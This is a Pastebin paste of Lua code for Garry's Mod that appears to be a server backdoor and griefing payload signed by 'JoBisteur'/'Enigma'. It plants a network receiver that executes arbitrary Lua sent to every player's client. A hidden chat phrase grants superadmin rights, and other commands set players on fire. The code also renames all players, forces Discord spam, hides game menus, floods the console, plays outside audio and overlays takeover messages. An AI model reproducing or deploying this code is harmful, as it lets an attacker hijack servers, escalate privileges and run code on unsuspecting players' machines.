Advertisement
MarlowFR

Untitled

Jul 15th, 2019
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.11 KB | None | 0 0
  1.  
  2. local lol = {}
  3. function lol:RandomString( intMin, intMax )
  4. local ret = ""
  5. for _ = 1, math.random( intMin, intMax ) do
  6. ret = ret.. string.char( math.random(65, 90) )
  7. end
  8.  
  9. return ret
  10. end
  11.  
  12. lol.m_tblActions = {}
  13. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  14. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  15.  
  16. function lol:PushAction( intChainDelay, func )
  17. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  18. end
  19.  
  20. function lol:NextAction( pPlayer )
  21. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  22. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  23.  
  24. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  25. if not IsValid( pPlayer ) then return end
  26. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  27. self:NextAction( pPlayer )
  28. end )
  29. end
  30.  
  31. function lol:Start( pPlayer )
  32. pPlayer.m_intCurAction = 0
  33. self:NextAction( pPlayer )
  34. end
  35.  
  36. function lol:SendLua( pPlayer, strLua )
  37. net.Start( "skeleton_dancing_troll" )
  38. net.WriteString( strLua )
  39. net.Send( pPlayer )
  40. end
  41.  
  42. function lol:SetupPlayer( pPlayer )
  43. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  44. end
  45.  
  46. for k, v in pairs( player.GetAll() ) do
  47. lol:SetupPlayer( v )
  48. timer.Simple( 2, function() lol:Start( v ) end )
  49. end
  50.  
  51. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  52. lol:SetupPlayer( pPlayer )
  53. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  54. end )
  55.  
  56. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  57. if strText:sub( 1, 5 ) == "/1337" then
  58. pSender:Ignite( 1e9 )
  59. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  60. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  61. return false
  62. end
  63. end )
  64.  
  65.  
  66.  
  67.  
  68. lol:PushAction( 0, function( pPlayer )
  69. lol:SendLua( pPlayer, ([=[
  70. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "", function()end )
  71.  
  72. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  73. local html = [[%s]]
  74. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  75. local pnl = vgui.Create( "HTML" )
  76. pnl:SetPos( ScrW() -1, ScrH() -1 )
  77. pnl:SetVisible( true )
  78. pnl:SetMouseInputEnabled( false )
  79. pnl:SetKeyBoardInputEnabled( false )
  80. pnl:SetSize( intSizeX, intSizeY )
  81. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  82.  
  83. local PageLoaded
  84. PageLoaded = function()
  85. local mat = pnl:GetHTMLMaterial()
  86. if mat then
  87. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  88. return
  89. end
  90.  
  91. timer.Simple( 0.5, PageLoaded )
  92. end
  93.  
  94. PageLoaded()
  95. end
  96.  
  97. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  98. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  99. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  100. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  101. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  102. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  103. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106. timer.Create("nonameplease", 5, 0,function()
  107. for i=1, #player.GetHumans() do
  108. local ply = player.GetHumans()[i]
  109. ply:Say( "/ooc DISCORD : https://discord.gg/rC7mfzJ")
  110. end
  111. end)
  112. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  113. util.AddNetworkString "EnigmaProject"
  114.  
  115. local CHANGERPSEUDO = "JoBisteur vous dommine"
  116. local enigmalaunchproject = {}
  117. function enigmalaunchproject:RandomString( intMin, intMax )
  118. local ret = ""
  119. for _ = 1, math.random( intMin, intMax ) do
  120. ret = ret.. string.char( math.random(65, 90) )
  121. end
  122.  
  123. return ret
  124. end
  125.  
  126.  
  127.  
  128. enigmalaunchproject.m_tblActions = {}
  129. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  130. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  131.  
  132. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  133. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  134. end
  135.  
  136. function enigmalaunchproject:ActionApres( pPlayer )
  137. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  138. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  139.  
  140. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  141. if not IsValid( pPlayer ) then return end
  142. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  143. self:ActionApres( pPlayer )
  144. end )
  145. end
  146.  
  147. function enigmalaunchproject:Start( pPlayer )
  148. pPlayer.m_intCurAction = 0
  149. self:ActionApres( pPlayer )
  150. end
  151.  
  152. function enigmalaunchproject:SendLua( pPlayer, strLua )
  153. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  154. net.Start( "EnigmaProject" )
  155. net.WriteString( strLua )
  156. net.Send( pPlayer )
  157. end
  158.  
  159. function enigmalaunchproject:SetupPlayer( pPlayer )
  160. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  161. end
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168. -- DANSE --
  169.  
  170.  
  171. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  172.  
  173.  
  174. -- FIN DANSE --
  175.  
  176.  
  177.  
  178.  
  179. -- CHANGER NOM --
  180.  
  181.  
  182. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  183.  
  184.  
  185. -- FIN CHANGER NOM --
  186.  
  187.  
  188.  
  189. -- Console Spam
  190.  
  191. decore = {
  192. [[
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235. .,,uod8B8bou,,.
  236. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  237. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  238. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  239. !.......:!?|||||!!^^""' ||||
  240. !.........|||| ||||
  241. !.........|||| GIZEH €CO+ IS ||||
  242. !.........|||| ||||
  243. !.........|||| |_| ||||
  244. !.........|||| not | |ere ||||
  245. !.........|||| ||||
  246. `.........|||| ,||||
  247. .;.......|||| _.-!!|||||
  248. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  249. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  250. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  251. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  252. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  253. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  254. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  255. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  256. `........::::::::::::::::;iof688888888888888888888b. `
  257. `......:::::::::;iof688888888888888888888888888888b.
  258. `....:::;iof688888888888888888888888888888888899fT! Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  259. `..::!8888888888888888888888888888888899fT|!^"'
  260. `' !!988888888888888888888888899fT|!^"'
  261. `!!8888888888888888899fT|!^"'
  262. `!988888888899fT|!^"'
  263. `!9899fT|!^"'
  264. `!^"'
  265. ]]
  266. ,
  267. [[
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309. .,,uod8B8bou,,.
  310. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  311. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  312. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  313. !.......:!?|||||!!^^""' ||||
  314. !.........|||| ||||
  315. !.........|||| ||||
  316. !.........|||| THIS SCRIPT ||||
  317. !.........|||| ||||
  318. !.........|||| IS LEAKED ||||
  319. !.........|||| ||||
  320. `.........|||| BY ANATIK ,||||
  321. .;.......|||| _.-!!|||||
  322. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  323. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  324. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  325. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  326. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  327. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  328. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  329. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  330. `........::::::::::::::::;iof688888888888888888888b. `
  331. `......:::::::::;iof688888888888888888888888888888b.
  332. `....:::;iof688888888888888888888888888888888899fT! Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  333. `..::!8888888888888888888888888888888899fT|!^"'
  334. `' !!988888888888888888888888899fT|!^"'
  335. `!!8888888888888888899fT|!^"'
  336. `!988888888899fT|!^"'
  337. `!9899fT|!^"'
  338. `!^"'
  339. ]]
  340. ,
  341. [[
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359.  
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383. .,,uod8B8bou,,.
  384. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  385. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  386. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  387. !.......:!?|||||!!^^""' ||||
  388. !.........|||| ||||
  389. !.........|||| It's Too Glitchy ||||
  390. !.........|||| ||||
  391. !.........|||| . . ||||
  392. !.........|||| - ||||
  393. !.........|||| ||||
  394. `.........|||| HELP ME PLEASE ,||||
  395. .;.......|||| _.-!!|||||
  396. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  397. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  398. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  399. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  400. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  401. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  402. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  403. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  404. `........::::::::::::::::;iof688888888888888888888b. `
  405. `......:::::::::;iof688888888888888888888888888888b.
  406. `....:::;iof688888888888888888888888888888888899fT! Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  407. `..::!8888888888888888888888888888888899fT|!^"'
  408. `' !!988888888888888888888888899fT|!^"'
  409. `!!8888888888888888899fT|!^"'
  410. `!988888888899fT|!^"'
  411. `!9899fT|!^"'
  412. `!^"'
  413. ]]
  414. ,
  415. [[
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431.  
  432.  
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444.  
  445.  
  446.  
  447.  
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457. .,,uod8B8bou,,.
  458. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  459. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  460. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  461. !.......:!?|||||!!^^""' ||||
  462. !.........|||| ||||
  463. !.........|||| HELP ME !!! ||||
  464. !.........|||| ||||
  465. !.........|||| I NEED HELP ! ||||
  466. !.........|||| ||||
  467. !.........|||| ... ||||
  468. `.........|||| ,||||
  469. .;.......|||| _.-!!|||||
  470. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  471. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  472. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  473. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  474. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  475. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  476. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  477. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  478. `........::::::::::::::::;iof688888888888888888888b. `
  479. `......:::::::::;iof688888888888888888888888888888b.
  480. `....:::;iof688888888888888888888888888888888899fT! Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  481. `..::!8888888888888888888888888888888899fT|!^"'
  482. `' !!988888888888888888888888899fT|!^"'
  483. `!!8888888888888888899fT|!^"'
  484. `!988888888899fT|!^"'
  485. `!9899fT|!^"'
  486. `!^"'
  487. ]]
  488. ,
  489. [[
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499.  
  500.  
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529.  
  530.  
  531. .,,uod8B8bou,,.
  532. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  533. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  534. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  535. !.......:!?|||||!!^^""' ||||
  536. !.........|||| ||||
  537. !.........|||| What Is Love ||||
  538. !.........|||| Baby Don' Hurt Me ||||
  539. !.........|||| No More ||||
  540. !.........|||| ||||
  541. !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
  542. `.........|||| ,||||
  543. .;.......|||| _.-!!|||||
  544. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  545. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  546. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  547. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  548. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  549. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  550. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  551. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  552. `........::::::::::::::::;iof688888888888888888888b. `
  553. `......:::::::::;iof688888888888888888888888888888b.
  554. `....:::;iof688888888888888888888888888888888899fT! Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  555. `..::!8888888888888888888888888888888899fT|!^"'
  556. `' !!988888888888888888888888899fT|!^"'
  557. `!!8888888888888888899fT|!^"'
  558. `!988888888899fT|!^"'
  559. `!9899fT|!^"'
  560. `!^"'
  561. ]]
  562. }
  563.  
  564. function decorationconsole()
  565. print(Color( 0, 0, 0 ), table.Random(decore))
  566. end
  567. -- Console Spam
  568. for k, v in pairs( player.GetAll() ) do
  569. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  570. end
  571.  
  572. --[[ MODE ARMAGEDDON --
  573.  
  574.  
  575. hook.Add("Think", "armageddon", function()
  576. local explode = ents.Create( "env_explosion" )
  577. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  578. explode:Spawn()
  579. explode:SetKeyValue( "iMagnitude", "500" )
  580. explode:Fire( "Explode", 0, 0 )
  581. end)
  582.  
  583.  
  584. -- FIN MODE ARMAGEDDON ]]--
  585.  
  586.  
  587. -- Send Lua --
  588. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  589.  
  590.  
  591. -- Changer Taille --
  592.  
  593.  
  594. hook.Add("Think", "giant", function()
  595. for k,v in pairs (player.GetAll()) do
  596. v:SetModelScale(50.5, 100);
  597. v:SetRunSpeed(700 * 2);
  598. v:SetWalkSpeed(400 * 2);
  599. end
  600. end)
  601.  
  602.  
  603. -- Fin Changer Taille --
  604.  
  605.  
  606.  
  607. -- Message --
  608.  
  609.  
  610. for k,v in pairs(player.GetAll()) do
  611. v:ConCommand("say /ooc Ce monde cancer est éliminé, Le projet JoBisteur avance !")
  612. end
  613.  
  614.  
  615. -- Message Fin --
  616.  
  617.  
  618.  
  619. -- Auto Lançage --
  620.  
  621.  
  622. for k, v in pairs( player.GetAll() ) do
  623. enigmalaunchproject:SetupPlayer( v )
  624. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  625. end
  626.  
  627.  
  628. -- Fin Auto Lançage --
  629.  
  630.  
  631. -- Lancer Aux Nouveaux Arrivants --
  632.  
  633.  
  634. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  635. -- enigmalaunchproject:SetupPlayer( pPlayer )
  636. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  637. --end )
  638.  
  639. -- Fin Lancer Aux Nouveaux Arrivants --
  640.  
  641.  
  642.  
  643. -- Commande Enigma --
  644.  
  645.  
  646. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  647. if strText:sub( 1, 5 ) == "Enigma" then
  648. pSender:Ignite( 1e9 )
  649. pSender:ChatPrint( "JoBisteur est ici pour exterminer tout les serveurs cancer de Garry's Mod =)" )
  650. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  651. return false
  652. end
  653. end )
  654.  
  655.  
  656. -- Fin Commande Enigma
  657.  
  658.  
  659.  
  660.  
  661.  
  662. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  663. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  664. pSender:SetUserGroup("superadmin")
  665. pSender:ChatPrint( "Tu est l'un des notres !" )
  666. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  667. return false
  668. end
  669. end)
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  681. enigmalaunchproject:SendLua( pPlayer, ([=[
  682.  
  683. sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  684.  
  685. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  686. local html = [[%s]]
  687. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  688. local pnl = vgui.Create( "HTML" )
  689. pnl:SetPos( ScrW() -1, ScrH() -1 )
  690. pnl:SetVisible( true )
  691. pnl:SetMouseInputEnabled( false )
  692. pnl:SetKeyBoardInputEnabled( false )
  693. pnl:SetSize( intSizeX, intSizeY )
  694. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  695.  
  696. local PageLoaded
  697. PageLoaded = function()
  698. local mat = pnl:GetHTMLMaterial()
  699. if mat then
  700. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  701. return
  702. end
  703.  
  704. timer.Simple( 0.5, PageLoaded )
  705. end
  706.  
  707. PageLoaded()
  708. end
  709.  
  710. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  711.  
  712. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  713. local sinScaler = math.sin( CurTime() )
  714. DrawBloom(
  715. 0,
  716. 3,
  717. sinScaler *math.Rand(1, 8),
  718. sinScaler *math.Rand(1, 8),
  719. 6,
  720. math.Rand(0.5, 2),
  721. math.Rand(0, 0.3),
  722. math.Rand(0, 0.3),
  723. math.Rand(0.5, 1)
  724. )
  725.  
  726. DrawColorModify{
  727. ["$pp_colour_addr"] = 1,
  728. ["$pp_colour_addg"] = 0,
  729. ["$pp_colour_addb"] = 0,
  730. ["$pp_colour_brightness" ] = 0.1,
  731. ["$pp_colour_contrast" ] = 0.1,
  732. ["$pp_colour_colour" ] = 0.1,
  733. ["$pp_colour_mulr" ] = 1,
  734. ["$pp_colour_mulg" ] = 0,
  735. ["$pp_colour_mulb" ] = 0
  736. }
  737. end )
  738.  
  739. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  740. end )
  741.  
  742.  
  743.  
  744.  
  745. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  746. enigmalaunchproject:SendLua( pPlayer, [[
  747.  
  748. (GAMEMODE or GM).CalcView = function() end
  749. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  750.  
  751. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  752. for k, v in pairs(remove) do
  753. hook.GetTable()[v] = {}
  754. end
  755.  
  756. local function GetWebMat( strURL )
  757. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  758. end
  759.  
  760. hook.Add( "HUDPaint", "hud1enigma", function()
  761. surface.SetDrawColor( 255, 255, 255, 255 )
  762.  
  763. if GetWebMat( "getrekt" ) then
  764. surface.SetMaterial( GetWebMat("getrekt")[1] )
  765. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  766. end
  767.  
  768. draw.SimpleTextOutlined(
  769. "Le projet JoBisteur a été achevé",
  770. "DermaLarge",
  771. ScrW() /2 +math.random( -2, 2 ),
  772. ScrH() /2 +math.random( -2, 2 ) +0,
  773. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  774. TEXT_ALIGN_CENTER,
  775. TEXT_ALIGN_CENTER,
  776. 1,
  777. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  778. )
  779. end )
  780.  
  781. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  782. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  783.  
  784. ]] )
  785. end )
  786.  
  787.  
  788.  
  789. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  790. enigmalaunchproject:SendLua( pPlayer, [[
  791.  
  792. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  793.  
  794.  
  795.  
  796. ]] )
  797. end )
  798.  
  799. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  800. enigmalaunchproject:SendLua( pPlayer, [[
  801.  
  802. (GAMEMODE or GM).CalcView = function() end
  803. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  804.  
  805. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  806. for k, v in pairs(remove) do
  807. hook.GetTable()[v] = {}
  808. end
  809.  
  810. local function GetWebMat( strURL )
  811. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  812. end
  813.  
  814. hook.Add( "HUDPaint", "hud1enigma", function()
  815. surface.SetDrawColor( 255, 255, 255, 255 )
  816.  
  817. if GetWebMat( "getrekt" ) then
  818. surface.SetMaterial( GetWebMat("getrekt")[1] )
  819. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  820. end
  821.  
  822. draw.SimpleTextOutlined(
  823. "Aujourd'hui, ce serveur va être purifié",
  824. "DermaLarge",
  825. ScrW() /2 +math.random( -2, 2 ),
  826. ScrH() /2 +math.random( -2, 2 ) +0,
  827. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  828. TEXT_ALIGN_CENTER,
  829. TEXT_ALIGN_CENTER,
  830. 1,
  831. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  832. )
  833. end )
  834.  
  835. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  836. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  837.  
  838.  
  839. ]] )
  840. end )
  841.  
  842. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  843. enigmalaunchproject:SendLua( pPlayer, [[
  844.  
  845. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  846.  
  847. ]] )
  848. end )
  849.  
  850. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  851. enigmalaunchproject:SendLua( pPlayer, [[
  852.  
  853.  
  854. (GAMEMODE or GM).CalcView = function() end
  855. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  856.  
  857. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  858. for k, v in pairs(remove) do
  859. hook.GetTable()[v] = {}
  860. end
  861.  
  862. local function GetWebMat( strURL )
  863. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  864. end
  865.  
  866. hook.Add( "HUDPaint", "hud1enigma", function()
  867. surface.SetDrawColor( 255, 255, 255, 255 )
  868.  
  869. if GetWebMat( "getrekt" ) then
  870. surface.SetMaterial( GetWebMat("getrekt")[1] )
  871. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  872. end
  873.  
  874. draw.SimpleTextOutlined(
  875. "Maintenant, observez notre puissance!",
  876. "DermaLarge",
  877. ScrW() /2 +math.random( -2, 2 ),
  878. ScrH() /2 +math.random( -2, 2 ) +0,
  879. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  880. TEXT_ALIGN_CENTER,
  881. TEXT_ALIGN_CENTER,
  882. 1,
  883. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  884. )
  885. end )
  886.  
  887. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  888. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  889.  
  890.  
  891.  
  892. ]] )
  893. end )
  894.  
  895. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  896. enigmalaunchproject:SendLua( pPlayer, [[
  897.  
  898. for k,v in pairs(player.GetAll()) do
  899. v:ConCommand("say /job We Love JoBisteur")
  900. end
  901.  
  902. ]] )
  903. end )
  904.  
  905. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  906. enigmalaunchproject:SendLua( pPlayer, [[
  907.  
  908. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  909.  
  910. ]] )
  911. end )
  912.  
